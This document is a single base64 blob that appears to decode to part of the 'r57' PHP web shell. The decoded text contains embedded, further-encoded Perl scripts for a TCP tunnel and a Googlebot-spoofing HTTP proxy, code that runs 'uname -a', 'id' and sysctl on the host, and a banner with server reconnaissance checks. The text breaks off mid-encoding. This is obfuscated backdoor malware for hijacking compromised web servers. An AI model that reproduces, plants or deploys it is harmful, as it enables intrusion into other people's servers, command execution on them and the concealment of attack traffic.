VTVGVkMwK2JtVjNLQ2RRWldWeVENCldSa2NpY2dQVDRnSkc4dFBuc25kRzlvYjNOMEozMHNKMUJsWlhKUWIzSjBKeUE5UGlBa2J5MCtleWQwYjNCdmNuUW5mU2s3RFFwcFppQW9JU1IwYUNrZ2V5QmxlR2wwSURBN0lIME5DbTE1SUNSbWFEc04NCkNtbG1JQ2drYnkwK2V5ZGthWEluZlNrZ2V5QWtabWdnUFNCVGVXMWliMnc2T21kbGJuTjViU2dwT3lCdmNHVnVLQ1JtYUN3Z0lqNGtieTArZXlka2FYSW5mUzkwZFc1dVpXd2tiblZ0TG14dlp5SXBJRzkNCnlJR1JwWlNBaUpDRWlPeUI5RFFva1kyZ3RQbUYxZEc5bWJIVnphQ2dwT3cwS0pIUm9MVDVoZFhSdlpteDFjMmdvS1RzTkNuZG9hV3hsSUNna1kyZ2dmSHdnSkhSb0tTQjdEUXB0ZVNBa2NtbHVJRDBnSWkNCkk3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSamFDa3NJREVwSUQwZ01TQnBaaUFrWTJnN0RRcDJaV01vSkhKcGJpd2dabWxzWlc1dktDUjBhQ2tzSURFcElEMGdNU0JwWmlBa2RHZzdEUXB0ZVNna2MNCm05MWRDd2dKR1Z2ZFhRcE93MEtjMlZzWldOMEtDUnliM1YwSUQwZ0pISnBiaXdnZFc1a1pXWXNJQ1JsYjNWMElEMGdKSEpwYml3Z01USXdLVHNOQ21sbUlDZ2hKSEp2ZFhRZ0lDWW1JQ0FoSkdWdmRYUXANCklIdDlEUXB0ZVNBa1kySjFabVpsY2lBOUlDSWlPdzBLYlhrZ0pIUmlkV1ptWlhJZ1BTQWlJanNOQ21sbUlDZ2tZMmdnSmlZZ0tIWmxZeWdrWlc5MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcElIeDhJSFoNCmxZeWdrY205MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcEtTa2dldzBLYlhrZ0pISmxjM1ZzZENBOUlITjVjM0psWVdRb0pHTm9MQ0FrZEdKMVptWmxjaXdnTVRBeU5DazdEUXBwWmlBb0lXUmxabWx1WlcNClFvSkhKbGMzVnNkQ2twSUhzTkNuQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdEUXBsZUdsMElEQTdEUXA5RFFwcFppQW9KSEpsYzNWc2RDQTlQU0F3S1NCN0lHVjRhWFFnTURzZ2ZRMEtmUTBLYVdZZ0sNCkNSMGFDQWdKaVlnSUNoMlpXTW9KR1Z2ZFhRc0lHWnBiR1Z1Ynlna2RHZ3BMQ0F4S1NBZ2ZId2dkbVZqS0NSeWIzVjBMQ0JtYVd4bGJtOG9KSFJvS1N3Z01Ta3BLU0I3RFFwdGVTQWtjbVZ6ZFd4MElEMGcNCmMzbHpjbVZoWkNna2RHZ3NJQ1JqWW5WbVptVnlMQ0F4TURJMEtUc05DbWxtSUNnaFpHVm1hVzVsWkNna2NtVnpkV3gwS1NrZ2V5QndjbWx1ZENCVFZFUkZVbElnSWlRaFhHNGlPeUJsZUdsMElEQTdJSDANCk5DbWxtSUNna2NtVnpkV3gwSUQwOUlEQXBJSHRsZUdsMElEQTdmUTBLZlEwS2FXWWdLQ1JtYUNBZ0ppWWdJQ1IwWW5WbVptVnlLU0I3S0hCeWFXNTBJQ1JtYUNBa2RHSjFabVpsY2lrN2ZRMEtkMmhwYkcNClVnS0cxNUlDUnNaVzRnUFNCc1pXNW5kR2dvSkhSaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KSFJvTENBa2RHSjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0kNCkRBcElIc2tkR0oxWm1abGNpQTlJSE4xWW5OMGNpZ2tkR0oxWm1abGNpd2dKSEpsY3lrN2ZTQU5DbVZzYzJVZ2UzQnlhVzUwSUZOVVJFVlNVaUFpSkNGY2JpSTdmUTBLZlEwS2QyaHBiR1VnS0cxNUlDUnMNClpXNGdQU0JzWlc1bmRHZ29KR05pZFdabVpYSXBLU0I3RFFwdGVTQWtjbVZ6SUQwZ2MzbHpkM0pwZEdVb0pHTm9MQ0FrWTJKMVptWmxjaXdnSkd4bGJpazdEUXBwWmlBb0pISmxjeUErSURBcElIc2tZMkoNCjFabVpsY2lBOUlITjFZbk4wY2lna1kySjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmWDE5RFFvPSI7DQoNCi8qID8/U1QgU0FUSVJJTiBLSVJJTE1JPz8gSEFMP7AgKi8NCi8qDQoNCiMhL3Vzci9iaW4vcGVybA0KdXNlIElPOjpTb2NrZXQ7DQp1c2UgUE9TSVg7DQokbG9jYWxwb3J0ID0gJEFSR1ZbMF07DQokaG9zdCAgICAgID0gJEFSR1ZbMV07DQokcG9ydCAgICAgID0gJEFSR1ZbMl07DQokZGFlbW9uPTE7DQokRElSID0gdW5kZWY7DQokfCA9IDE7DQppZiAoJGRhZW1vbil7ICRwaWQgPSBmb3JrOyBleGl0IGlmICRwaWQ7IGRpZSAiJCEiIHVubGVzcyBkZWZpbmVkKCRwaWQpOyBQT1NJWDo6c2V0c2lkKCkgb3IgZGllICIkISI7IH0NCiVvID0gKCdwb3J0JyA9PiAkbG9jYWxwb3J0LCd0b3BvcnQnID0+ICRwb3J0LCd0b2hvc3QnID0+ICRob3N0KTsNCiRhaCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldygnTG9jYWxQb3J0JyA9PiAkbG9jYWxwb3J0LCdSZXVzZScgPT4gMSwnTGlzdGVuJyA9PiAxMCkgfHwgZGllICIkISI7DQokU0lHeydDSExEJ30gPSAnSUdOT1JFJzsNCiRudW0gPSAwOw0Kd2hpbGUgKDEpIHsgDQokY2ggPSAkYWgtPmFjY2VwdCgpOyBpZiAoISRjaCkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBuZXh0OyB9DQorKyRudW07DQokcGlkID0gZm9yaygpOw0KaWYgKCFkZWZpbmVkKCRwaWQpKSB7IHByaW50IFNUREVSUiAiJCFcbiI7IH0gDQplbHNpZiAoJHBpZCA9PSAwKSB7ICRhaC0+Y2xvc2UoKTsgUnVuKFwlbywgJGNoLCAkbnVtKTsgfSANCmVsc2UgeyAkY2gtPmNsb3NlKCk7IH0NCn0NCnN1YiBSdW4gew0KbXkoJG8sICRjaCwgJG51bSkgPSBAXzsNCm15ICR0aCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldygnUGVlckFkZHInID0+ICRvLT57J3RvaG9zdCd9LCdQZWVyUG9ydCcgPT4gJG8tPnsndG9wb3J0J30pOw0KaWYgKCEkdGgpIHsgZXhpdCAwOyB9DQpteSAkZmg7DQppZiAoJG8tPnsnZGlyJ30pIHsgJGZoID0gU3ltYm9sOjpnZW5zeW0oKTsgb3BlbigkZmgsICI+JG8tPnsnZGlyJ30vdHVubmVsJG51bS5sb2ciKSBvciBkaWUgIiQhIjsgfQ0KJGNoLT5hdXRvZmx1c2goKTsNCiR0aC0+YXV0b2ZsdXNoKCk7DQp3aGlsZSAoJGNoIHx8ICR0aCkgew0KbXkgJHJpbiA9ICIiOw0KdmVjKCRyaW4sIGZpbGVubygkY2gpLCAxKSA9IDEgaWYgJGNoOw0KdmVjKCRyaW4sIGZpbGVubygkdGgpLCAxKSA9IDEgaWYgJHRoOw0KbXkoJHJvdXQsICRlb3V0KTsNCnNlbGVjdCgkcm91dCA9ICRyaW4sIHVuZGVmLCAkZW91dCA9ICRyaW4sIDEyMCk7DQppZiAoISRyb3V0ICAmJiAgISRlb3V0KSB7fQ0KbXkgJGNidWZmZXIgPSAiIjsNCm15ICR0YnVmZmVyID0gIiI7DQppZiAoJGNoICYmICh2ZWMoJGVvdXQsIGZpbGVubygkY2gpLCAxKSB8fCB2ZWMoJHJvdXQsIGZpbGVubygkY2gpLCAxKSkpIHsNCm15ICRyZXN1bHQgPSBzeXNyZWFkKCRjaCwgJHRidWZmZXIsIDEwMjQpOw0KaWYgKCFkZWZpbmVkKCRyZXN1bHQpKSB7DQpwcmludCBTVERFUlIgIiQhXG4iOw0KZXhpdCAwOw0KfQ0KaWYgKCRyZXN1bHQgPT0gMCkgeyBleGl0IDA7IH0NCn0NCmlmICgkdGggICYmICAodmVjKCRlb3V0LCBmaWxlbm8oJHRoKSwgMSkgIHx8IHZlYygkcm91dCwgZmlsZW5vKCR0aCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJHRoLCAkY2J1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZWQoJHJlc3VsdCkpIHsgcHJpbnQgU1RERVJSICIkIVxuIjsgZXhpdCAwOyB9DQppZiAoJHJlc3VsdCA9PSAwKSB7ZXhpdCAwO30NCn0NCmlmICgkZmggICYmICAkdGJ1ZmZlcikgeyhwcmludCAkZmggJHRidWZmZXIpO30NCndoaWxlIChteSAkbGVuID0gbGVuZ3RoKCR0YnVmZmVyKSkgew0KbXkgJHJlcyA9IHN5c3dyaXRlKCR0aCwgJHRidWZmZXIsICRsZW4pOw0KaWYgKCRyZXMgPiAwKSB7JHRidWZmZXIgPSBzdWJzdHIoJHRidWZmZXIsICRyZXMpO30gDQplbHNlIHtwcmludCBTVERFUlIgIiQhXG4iO30NCn0NCndoaWxlIChteSAkbGVuID0gbGVuZ3RoKCRjYnVmZmVyKSkgew0KbXkgJHJlcyA9IHN5c3dyaXRlKCRjaCwgJGNidWZmZXIsICRsZW4pOw0KaWYgKCRyZXMgPiAwKSB7JGNidWZmZXIgPSBzdWJzdHIoJGNidWZmZXIsICRyZXMpO30gDQplbHNlIHtwcmludCBTVERFUlIgIiQhXG4iO30NCn19fQ0KDQoNCiovDQoNCiRwcnhfcGw9Ikl5RjFjM0l2WW1sdUwzQmxjbXdLZFhObElGTnZZMnRsZERzS2JYa2dKSEJ2Y25RZ1BTQWtRVkpIVmxzd1hYeDhNekV6TXpjN0NtMTVJQ1J3Y205MGIyTnZiQ0E5SUdkbGRIQnliM1J2WW4NCmx1WVcxbEtDZDBZM0FuS1RzS2JYa2dKRzE1WDJGa1pISWdJRDBnYzI5amEyRmtaSEpmYVc0Z0tDUndiM0owTENCSlRrRkVSRkpmUVU1WktUc0tjMjlqYTJWMElDaFRUME5MTENCQlJsOUpUa1ZVTENCVFQNCjBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2WTI5c0tTQnZjaUJrYVdVZ0luTnZZMnRsZENncE9pQWtJU0k3Q25ObGRITnZZMnR2Y0hRZ0tGTlBRMHNzSUZOUFRGOVRUME5MUlZRc0lGTlBYMUpGVlZORlFVUkUNClVpd3hJQ2tnYjNJZ1pHbGxJQ0p6WlhSemIyTnJiM0IwS0NrNklDUWhJanNLWW1sdVpDQW9VMDlEU3l3Z0pHMTVYMkZrWkhJcElHOXlJR1JwWlNBaVltbHVaQ2dwT2lBa0lTSTdDbXhwYzNSbGJpQW9VMDkNCkRTeXdnVTA5TlFWaERUMDVPS1NCdmNpQmthV1VnSW14cGMzUmxiaWdwT2lBa0lTSTdDaVJUU1VkN0owbE9WQ2Q5SUQwZ2MzVmlJSHNLWTJ4dmMyVWdLRk5QUTBzcE93cGxlR2wwT3dwOU93cDNhR2xzWlMNCkFvTVNrZ2V3cHVaWGgwSUhWdWJHVnpjeUJ0ZVNBa2NtVnRiM1JsWDJGa1pISWdQU0JoWTJObGNIUWdLRk5GVTFOSlQwNHNJRk5QUTBzcE93cHRlU0FvSkdacGMzUXNJQ1J0WlhSb2IyUXNJQ1J5WlcxdmQNCkdWZmFHOXpkQ3dnSkhKbGJXOTBaVjl3YjNKMEtTQTlJR0Z1WVd4NWVtVmZjbVZ4ZFdWemRDZ3BPd3BwWmlodmNHVnVYMk52Ym01bFkzUnBiMjRnS0ZKRlRVOVVSU3dnSkhKbGJXOTBaVjlvYjNOMExDQWsNCmNtVnRiM1JsWDNCdmNuUXBJRDA5SURBcElIc0tZMnh2YzJVZ0tGTkZVMU5KVDA0cE93cHVaWGgwT3dwOUNuQnlhVzUwSUZKRlRVOVVSU0FrWm1seWMzUTdDbkJ5YVc1MElGSkZUVTlVUlNBaVZYTmxjaTENCkJaMlZ1ZERvZ1IyOXZaMnhsWW05MEx6SXVNU0FvSzJoMGRIQTZMeTkzZDNjdVoyOXZaMnhsTG1OdmJTOWliM1F1YUhSdGJDbGNiaUk3Q25kb2FXeGxJQ2c4VTBWVFUwbFBUajRwSUhzS2JtVjRkQ0JwWmkNCkFvTDFCeWIzaDVMVU52Ym01bFkzUnBiMjQ2THlCOGZDQXZWWE5sY2kxQloyVnVkRG92S1RzS2NISnBiblFnVWtWTlQxUkZJQ1JmT3dwc1lYTjBJR2xtSUNna1h5QTlmaUF2WGx0Y2MxeDRNREJkS2lRdksNClRzS2ZRcHdjbWx1ZENCU1JVMVBWRVVnSWx4dUlqc0tKR2hsWVdSbGNpQTlJREU3Q25kb2FXeGxJQ2c4VWtWTlQxUkZQaWtnZXdwd2NtbHVkQ0JUUlZOVFNVOU9JQ1JmT3dwcFppQW9KR2hsWVdSbGNpa2cNCmV5QWdJQ0FnQ21sbUlDZ2thR1ZoWkdWeUlDWW1JQ1JmSUQxK0lDOWVXMXh6WEhnd01GMHFKQzhwSUhzS0pHaGxZV1JsY2lBOUlEQTdDbjBLZlFwOUNtTnNiM05sSUNoU1JVMVBWRVVwT3dwamJHOXpaU0ENCm9VMFZUVTBsUFRpazdDbjBLWTJ4dmMyVWdLRk5QUTBzcE93cHpkV0lnWVc1aGJIbDZaVjl5WlhGMVpYTjBJSHNLYlhrZ0tDUm1hWE4wTENBa2RYSnNMQ0FrY21WdGIzUmxYMmh2YzNRc0lDUnlaVzF2ZEcNClZmY0c5eWRDd2dKRzFsZEdodlpDazdDaVJtYVhKemRDQTlJRHhUUlZOVFNVOU9QanNLSkhWeWJDQTlJQ2drWm1seWMzUWdQWDRnYlh3b2FIUjBjRG92TDF4VEt5bDhLVnN3WFRzS0tDUnRaWFJvYjJRc0kNCkNSeVpXMXZkR1ZmYUc5emRDd2dKSEpsYlc5MFpWOXdiM0owS1NBOUlBb29KR1pwY25OMElEMStJRzBoS0VkRlZDa2dhSFIwY0Rvdkx5aGJYaTg2WFNzcE9qOG9YR1FxS1NFZ0tUc0thV1lnS0NFa2NtVnQNCmIzUmxYMmh2YzNRcElIc0tZMnh2YzJVb1UwVlRVMGxQVGlrN0NtVjRhWFE3Q24wS0pISmxiVzkwWlY5d2IzSjBJRDBnSW1oMGRIQWlJSFZ1YkdWemN5QW9KSEpsYlc5MFpWOXdiM0owS1RzS0pHWnBjbk4NCjBJRDErSUhNdmFIUjBjRHBjTDF3dlcxNWNMMTByTHk4N0NuSmxkSFZ5YmlBb0pHWnBjbk4wTENBa2JXVjBhRzlrTENBa2NtVnRiM1JsWDJodmMzUXNJQ1J5WlcxdmRHVmZjRzl5ZENrN0NuMEtjM1ZpSUcNCjl3Wlc1ZlkyOXVibVZqZEdsdmJpQjdDbTE1SUNna2FHOXpkQ3dnSkhCdmNuUXBJRDBnUUY5Yk1Td3lYVHNLYlhrZ0tDUmtaWE4wWDJGa1pISXNJQ1JqZFhJcE93cHBaaUFvSkhCdmNuUWdJWDRnTDE1Y1oNCkNza0x5a2dld29rY0c5eWRDQTlJQ2huWlhSelpYSjJZbmx1WVcxbEtDUndiM0owTENBaWRHTndJaWtwV3pKZE93b2tjRzl5ZENBOUlEZ3dJSFZ1YkdWemN5QW9KSEJ2Y25RcE93cDlDaVJvYjNOMElEMGcNCmFXNWxkRjloZEc5dUlDZ2thRzl6ZENrZ2IzSWdjbVYwZFhKdUlEQTdDaVJrWlhOMFgyRmtaSElnUFNCemIyTnJZV1JrY2w5cGJpQW9KSEJ2Y25Rc0lDUm9iM04wS1RzS2MyOWphMlYwSUNna1gxc3dYU3cNCmdRVVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUNSd2NtOTBiMk52YkNrZ2IzSWdaR2xsSUNKemIyTnJaWFFvS1NBNklDUWhJanNLWTI5dWJtVmpkQ0FvSkY5Yk1GMHNJQ1JrWlhOMFgyRmtaSElwSUcNCjl5SUhKbGRIVnliaUF3T3dva1kzVnlJRDBnYzJWc1pXTjBLQ1JmV3pCZEtUc2dJQW9rZkNBOUlERTdDbk5sYkdWamRDZ2tZM1Z5S1RzS2NtVjBkWEp1SURFN0NuMD0iOw0KDQovKiA/P1NUIFNBVElSSU4gS0lSSUxNST8/IEhBTD+wICovDQovKg0KDQojIXVzci9iaW4vcGVybA0KdXNlIFNvY2tldDsNCm15ICRwb3J0ID0gJEFSR1ZbMF18fDMxMzM3Ow0KbXkgJHByb3RvY29sID0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsNCnNvY2tldCAoU09DSywgQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKTogJCEiOw0Kc2V0c29ja29wdCAoU09DSywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLDEgKSBvciBkaWUgInNldHNvY2tvcHQoKTogJCEiOw0KYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7DQpsaXN0ZW4gKFNPQ0ssIFNPTUFYQ09OTikgb3IgZGllICJsaXN0ZW4oKTogJCEiOw0KJFNJR3snSU5UJ30gPSBzdWIgew0KY2xvc2UgKFNPQ0spOw0KZXhpdDsNCn07DQp3aGlsZSAoMSkgew0KbmV4dCB1bmxlc3MgbXkgJHJlbW90ZV9hZGRyID0gYWNjZXB0IChTRVNTSU9OLCBTT0NLKTsNCm15ICgkZmlzdCwgJG1ldGhvZCwgJHJlbW90ZV9ob3N0LCAkcmVtb3RlX3BvcnQpID0gYW5hbHl6ZV9yZXF1ZXN0KCk7DQppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAkcmVtb3RlX3BvcnQpID09IDApIHsNCmNsb3NlIChTRVNTSU9OKTsNCm5leHQ7DQp9DQpwcmludCBSRU1PVEUgJGZpcnN0Ow0KcHJpbnQgUkVNT1RFICJVc2VyLUFnZW50OiBHb29nbGVib3QvMi4xICgraHR0cDovL3d3dy5nb29nbGUuY29tL2JvdC5odG1sKVxuIjsNCndoaWxlICg8U0VTU0lPTj4pIHsNCm5leHQgaWYgKC9Qcm94eS1Db25uZWN0aW9uOi8gfHwgL1VzZXItQWdlbnQ6Lyk7DQpwcmludCBSRU1PVEUgJF87DQpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvKTsNCn0NCnByaW50IFJFTU9URSAiXG4iOw0KJGhlYWRlciA9IDE7DQp3aGlsZSAoPFJFTU9URT4pIHsNCnByaW50IFNFU1NJT04gJF87DQppZiAoJGhlYWRlcikgeyAgICAgDQppZiAoJGhlYWRlciAmJiAkXyA9fiAvXltcc1x4MDBdKiQvKSB7DQokaGVhZGVyID0gMDsNCn0NCn0NCn0NCmNsb3NlIChSRU1PVEUpOw0KY2xvc2UgKFNFU1NJT04pOw0KfQ0KY2xvc2UgKFNPQ0spOw0Kc3ViIGFuYWx5emVfcmVxdWVzdCB7DQpteSAoJGZpc3QsICR1cmwsICRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0LCAkbWV0aG9kKTsNCiRmaXJzdCA9IDxTRVNTSU9OPjsNCiR1cmwgPSAoJGZpcnN0ID1+IG18KGh0dHA6Ly9cUyspfClbMF07DQooJG1ldGhvZCwgJHJlbW90ZV9ob3N0LCAkcmVtb3RlX3BvcnQpID0gDQooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsNCmlmICghJHJlbW90ZV9ob3N0KSB7DQpjbG9zZShTRVNTSU9OKTsNCmV4aXQ7DQp9DQokcmVtb3RlX3BvcnQgPSAiaHR0cCIgdW5sZXNzICgkcmVtb3RlX3BvcnQpOw0KJGZpcnN0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87DQpyZXR1cm4gKCRmaXJzdCwgJG1ldGhvZCwgJHJlbW90ZV9ob3N0LCAkcmVtb3RlX3BvcnQpOw0KfQ0Kc3ViIG9wZW5fY29ubmVjdGlvbiB7DQpteSAoJGhvc3QsICRwb3J0KSA9IEBfWzEsMl07DQpteSAoJGRlc3RfYWRkciwgJGN1cik7DQppZiAoJHBvcnQgIX4gL15cZCskLykgew0KJHBvcnQgPSAoZ2V0c2VydmJ5bmFtZSgkcG9ydCwgInRjcCIpKVsyXTsNCiRwb3J0ID0gODAgdW5sZXNzICgkcG9ydCk7DQp9DQokaG9zdCA9IGluZXRfYXRvbiAoJGhvc3QpIG9yIHJldHVybiAwOw0KJGRlc3RfYWRkciA9IHNvY2thZGRyX2luICgkcG9ydCwgJGhvc3QpOw0Kc29ja2V0ICgkX1swXSwgQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsNCmNvbm5lY3QgKCRfWzBdLCAkZGVzdF9hZGRyKSBvciByZXR1cm4gMDsNCiRjdXIgPSBzZWxlY3QoJF9bMF0pOyAgDQokfCA9IDE7DQpzZWxlY3QoJGN1cik7DQpyZXR1cm4gMTsNCn0NCg0KKi8NCg0KDQppZigkdW5peCkNCnsNCmlmKCFpc3NldCgkX0NPT0tJRVsndW5hbWUnXSkpIHskdW5hbWUgPSBleCgndW5hbWUgLWEnKTtzZXRjb29raWUoJ3VuYW1lJywkdW5hbWUpO31lbHNlIHskdW5hbWUgPSAkX0NPT0tJRVsndW5hbWUnXTt9DQppZighaXNzZXQoJF9DT09LSUVbJ2lkJ10pKSB7JGlkID0gZXgoJ2lkJyk7c2V0Y29va2llKCdpZCcsJGlkKTt9ZWxzZSB7JGlkID0gJF9DT09LSUVbJ2lkJ107fQ0KaWYoJHNhZmVfbW9kZSkgeyRzeXNjdGwgPSAnLSc7fQ0KZWxzZSBpZihpc3NldCgkX0NPT0tJRVsnc3lzY3RsJ10pKSB7JHN5c2N0bCA9ICRfQ09PS0lFWydzeXNjdGwnXTt9DQplbHNlICANCnsNCiRzeXNjdGwgPSBleCgnc3lzY3RsIC1uIGtlcm4ub3N0eXBlICYmIHN5c2N0bCAtbiBrZXJuLm9zcmVsZWFzZScpOw0KaWYoZW1wdHkoJHN5c2N0bCkpIHskc3lzY3RsID0gZXgoJ3N5c2N0bCAtbiBrZXJuZWwub3N0eXBlICYmIHN5c2N0bCAtbiBrZXJuZWwub3NyZWxlYXNlJyk7fQ0KaWYoZW1wdHkoJHN5c2N0bCkpIHskc3lzY3RsID0gJy0nO30NCnNldGNvb2tpZSgnc3lzY3RsJywkc3lzY3RsKTsNCn0NCn0NCmVjaG8gJGhlYWQ7DQplY2hvICc8L2hlYWQ+JzsNCmVjaG8gJzxib2R5Pjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDgwMDA+PHRyPjx0ZCBiZ2NvbG9yPSMzMzMzMzMgd2lkdGg9MTYwPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPTI+Jy53cygyKS4nPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0yPjxiPiNyNTcgc2hlbGwgJy4kdmVyc2lvbi4nPC9iPjwvZm9udD48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+JzsNCmVjaG8gd3MoMikuIjxiPiIuZGF0ZSAoImQtbS1ZIEg6aTpzIikuIjwvYj4gWW91ciBJUDogWzxmb250IGNvbG9yPWJsdWU+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJSRU1PVEVfQUREUiJdKS4iPC9mb250Pl0iOw0KaWYoaXNzZXQoJF9TRVJWRVJbJ1hfRk9SV0FSREVEX0ZPUiddKSl7ZWNobyAiIFhfRk9SV0FSREVEX0ZPUjogWzxmb250IGNvbG9yPXJlZD4iLiRfU0VSVkVSWydYX0ZPUldBUkRFRF9GT1InXS4iPC9mb250Pl0iO30NCmlmKGlzc2V0KCRfU0VSVkVSWydDTElFTlRfSVAnXSkpe2VjaG8gIiBDTElFTlRfSVA6IFs8Zm9udCBjb2xvcj1yZWQ+Ii4kX1NFUlZFUlsnQ0xJRU5UX0lQJ10uIjwvZm9udD5dIjt9DQplY2hvICIgWm9uZS1IIGtvbnRyb2w6IFs8YSBocmVmPWh0dHA6Ly93d3cuem9uZS1oLm9yZy9hcmNoaXZlL2lwPSIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiIgdGFyZ2V0PWlmcmFtZT48Zm9udCBjb2xvcj1ibHVlPiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiI8L2ZvbnQ+PC9hPl0iOw0KZWNobyAiPGJyPiI7DQplY2hvIHdzKDIpLiJQSFAgdmVyc2lvbjogPGI+Ii5AcGhwdmVyc2lvbigpLiI8L2I+IjsNCiRjdXJsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7DQplY2hvIHdzKDIpOw0KZWNobyAiY1VSTDogPGI+Ii4oKCRjdXJsX29uKT8oIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9cmVkPkthcGFsaTwvZm9udD4iKSk7DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk15U1FMOiA8Yj4iOw0KJG15c3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpOw0KaWYoJG15c3FsX29uKXsNCmVjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPXJlZD5LYXBhbGk8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk1TU1FMOiA8Yj4iOw0KJG1zc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpOw0KaWYoJG1zc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5LYXBhbGk8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIlBvc3RncmVTUUw6IDxiPiI7DQokcGdfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0Jyk7DQppZigkcGdfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPkthcGFsaTwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiT3JhY2xlOiA8Yj4iOw0KJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7DQppZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5LYXBhbGk8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+PGJyPiIud3MoMik7DQplY2hvICJTYWZlX21vZGU6IDxiPiI7DQplY2hvICgoJHNhZmVfbW9kZSk/KCI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD4iKTooIjxmb250IGNvbG9yPXJlZD5LYXBhbGk8L2ZvbnQ+IikpOw0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICJPcGVuX2Jhc2VkaXI6IDxiPiI7DQppZigkb3Blbl9iYXNlZGlyKSB7aWYgKCcnPT0oJGRmPUBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSkpIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+aW5pX2dldCBkaXNhYmxlITwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+JGRmPC9mb250PjwvYj4iO307fQ0KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk5PTkU8L2ZvbnQ+PC9iPiI7fQ0KZWNobyB3cygyKS4iU2FmZV9tb2RlX2V4ZWNfZGlyOiA8Yj4iOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7aWYgKCcnPT0oJGRmPUBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSkpIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+Tk9ORTwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+JGRmPC9mb250PjwvYj4iO307fQ0KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQ0KZWNobyB3cygyKS4iU2FmZV9tb2RlX2luY2x1ZGVfZGlyOiA8Yj4iOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7aWYgKCcnPT0oJGRmPUBpbmlfZ2V0KCdzYWZlX21vZGVfaW5jbHVkZV9kaXInKSkpIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+Tk9ORTwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+JGRmPC9mb250Pjw